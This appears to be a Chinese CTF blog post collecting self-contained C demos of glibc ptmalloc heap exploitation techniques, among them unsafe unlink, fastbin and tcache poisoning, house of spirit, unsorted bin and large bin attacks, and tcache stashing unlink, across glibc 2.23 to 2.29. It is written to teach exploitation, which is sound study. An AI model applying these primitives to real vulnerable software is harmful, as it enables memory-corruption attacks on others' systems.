之前写过一篇文章主要描述了一下ptmalloc的流程,今天翻了一下文件夹,把很久以前研究ptmalloc绕过时写的c语言demo也一起发出来,供初学者学习, 这份c语言demo 总结了至今为止,pwn中出现的大部分heap利用思路,内容涵盖glibc2.23, glibc2.27, glibc2.29
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; size_t ptr[4]; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); fprintf(stdout, "全局变量指针: %p\n", &ptr[3]); size_t *p1 = malloc(0x20); size_t *p2 = malloc(0x80); malloc(0x10); ptr[3] = (size_t)p1; fprintf(stdout, "构建fake_chunk(全局变量存储malloc用户态指针,但unlink需要全局变量存储chunk指针所以伪造chunk)\n"); p1[0] = 0; p1[1] = 0x20; p1[2] = (size_t)&ptr[3] - 0x18; p1[3] = (size_t)&ptr[3] - 0x10; // p2[-2] = 0x20; // p2[-1] = 0x90; p1[4] = 0x20; p1[5] = 0x90; free(p2); fprintf(stdout, "全局变量内容被修改为: 0x%lx\n", ptr[3]); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; size_t target[2] = {0}; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); target[1] = 0x81; fprintf(stdout, "目标地址: %p\n", &target); size_t *p1 = malloc(0x70); size_t *p2 = malloc(0x70); free(p1); free(p2); free(p1); size_t *p3 = malloc(0x70); malloc(0x70); p3[0] = (size_t)⌖ malloc(0x70); size_t *p4 = malloc(0x70); fprintf(stdout, "被分配chunk地址为: %p\n", p4 - 2); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); puts("fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理"); puts("fake chunk 地址需要对齐, MALLOC_ALIGN_MASK"); puts("fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐"); puts("fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem"); puts("fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况"); malloc(1); //初始化堆,如果堆没有初始化就不能free size_t fake_chunks[10] __attribute__ ((aligned (16))); fprintf(stdout, "fake_chunk地址: %p\n", fake_chunks); fake_chunks[1] = 0x40; fake_chunks[9] = 0x11; // next chunk size free(&fake_chunks[2]); size_t *p1 = malloc(0x30); fprintf(stdout, "fake_chunk地址: %p\n", p1 - 2); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); size_t *p1 = malloc(0x70); free(p1); size_t fake_chunk[2]; fake_chunk[1] = 0x80; fprintf(stdout, "fake_chunk地址: %p\n", fake_chunk); p1[0] = (size_t)fake_chunk; malloc(0x70); size_t *p2 = malloc(0x70); fprintf(stdout, "分配chunk地址: %p\n", p2 - 2); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); size_t *p1 = malloc(0x80); size_t *p2 = malloc(0x18); size_t *p3 = malloc(0x80); fprintf(stdout, "目标地址: %p\n", p1); free(p1); p2[2] = 0xb0; p2[3] = 0x90; free(p3); size_t *p4 = malloc(0x130); fprintf(stdout, "分配chunk地址: %p\n", p4); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; // malloc_consolidate将fastbin放入unsorted时,会定位当前fastbin的next_chunk,所以最好伪造一个fake_chunk或者修改后的size可以指向正常chunk int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); size_t *p1 = malloc(0x70); size_t *p2 = malloc(0x70); malloc(0x10); free(p1); free(p2); fprintf(stdout, "0x80 fastbin chunk: %p\n", p1); p1[-1] = 0x101; // 触发malloc consolidate malloc(0x1000); size_t *p3 = malloc(0xf0); fprintf(stdout, "0x100 smallbin chunk: %p\n", p1); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; // malloc_consolidate将fastbin放入unsorted时,会定位当前fastbin的next_chunk,所以最好伪造一个fake_chunk或者修改后的size可以指向正常chunk int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); size_t fake_chunk[24] = {0}; fake_chunk[1] = 0x91; fake_chunk[19] = 0x21; fake_chunk[23] = 0x21; fprintf(stdout, "目标地址: %p\n", fake_chunk); size_t *p1 = malloc(0x70); free(p1); p1[0] = (size_t)fake_chunk; malloc(0x1000); size_t *p2 = malloc(0x80); fprintf(stdout, "0x90 smallbin chunk: %p\n", p2 - 2); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; size_t target; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); size_t *p1 = malloc(0x80); malloc(0x10); free(p1); p1[1] = (size_t)&target - 0x10; malloc(0x80); fprintf(stdout, "目标地址被写入unsorted_bin指针: 0x%lx\n", target); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); size_t fake_chunk[4] = {0}; fprintf(stdout, "目标地址: %p\n", fake_chunk); size_t *p1 = malloc(0x10); free(p1); free(p1); size_t *p2 = malloc(0x10); p2[0] = (size_t)&fake_chunk[2]; malloc(0x10); size_t *p3 = malloc(0x10); fprintf(stdout, "分配chunk地址: %p\n", p3 - 2); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); size_t fake_chunk[4]; fprintf(stdout, "目标地址: %p\n", fake_chunk); size_t *p1 = malloc(0x10); free(p1); p1[0] = (size_t)&fake_chunk[2]; // tcache_bin next存储用户态指针 malloc(0x10); size_t *p2 = malloc(0x10); fprintf(stdout, "分配chunk地址: %p\n", p2 - 2); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); size_t fake_chunk[4] = {0}; fake_chunk[1] = 0x80; fprintf(stdout, "目标地址: %p\n", fake_chunk); malloc(0x1); //初始化堆 free(&fake_chunk[2]); size_t *p1 = malloc(0x70); fprintf(stdout, "分配chunk地址: %p\n", p1 - 2); return 0; }
#include <stdio.h> #include <stdlib.h> char stdout_buf[BUFSIZ]; char stdin_buf[BUFSIZ]; char stderr_buf[BUFSIZ]; size_t fake_chunk[3] = {0}; size_t writeable_addr[3] = {0}; int main() { setbuf(stdout, stdout_buf); setbuf(stdin, stdin_buf); setbuf(stderr, stderr_buf); int i; size_t *chunk_list[9] = {0}; // fake chunk & write_able_addr fake_chunk[3] = (size_t)writeable_addr; //fake_chunk 解链操作 bin->bk = bck; bck->fd = bin fprintf(stdout, "目标chunk地址: %p\n", fake_chunk); fprintf(stdout, "可写区域原内容: 0x%lx\n", writeable_addr[2]); for (i = 0; i < 9; i++) { chunk_list[i] = malloc(0x80); } for (int i = 3; i < 9; i++) { free((void *)chunk_list[i]); } free((void *)chunk_list[1]); //防止unsorted bin合并 free((void *)chunk_list[0]); //unsorted bin free((void *)chunk_list[2]); //unsorted bin malloc(0x90); //分配大于0x80的堆块,将unsortedbin放入smallbin malloc(0x80); malloc(0x80); //取出两个tcachebin,剩余5个tcachebin chunk_list[2][1] = (size_t)fake_chunk; //bk 连接fake_chunk calloc(1, 0x80); size_t * p1 = malloc(0x80); fprintf(stdout, "分配chunk地址: %p\n", p1 - 2); fprintf(stdout, "可写区域现内容: 0x%lx\n", writeable_addr[2]); return 0; }
#include <stdio.h> #include <stdlib.h> size_t target[5]; // 如果unsortedbin中取出的chunk size小于largebin中最小的size则 // victim->fd_nextsize = fwd->fd; // victim->bk_nextsize = fwd->fd->bk_nextsize(伪造); // fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 如果在遍历largebin时,从unsortedbin中取出的chunk size=某chunk_size则将unsortedbin_chunk直接插入某chunk的小链第2位 // 如果在遍历largebin时,从unsortedbin中取出的chunk size<某chunk_size则 // victim->fd_nextsize = fwd; // victim->bk_nextsize = fwd->bk_nextsize(伪造); // fwd->bk_nextsize = victim; // victim->bk_nextsize->fd_nextsize = victim; // 利用特点: // 伪造largebin的bk_nextsize为目标地址-0x20 // largebin的fd_nextsize = 0 // 利用结果: // target 被写入victim指针 int main() { size_t *p1, *p2, *p3; setbuf(stdout, NULL); p1 = malloc(0x410); malloc(0x10); p2 = malloc(0x420); malloc(0x10); free(p1); // put p into large bin malloc(0x500); free(p2); p1[2] = 0; p1[3] = (size_t)target; fprintf(stdout, "目标地址原内容: 0x%lx\n", target[4]); p3 = malloc(0x500); fprintf(stdout, "目标地址现内容: 0x%lx\n", target[4]); return 0; }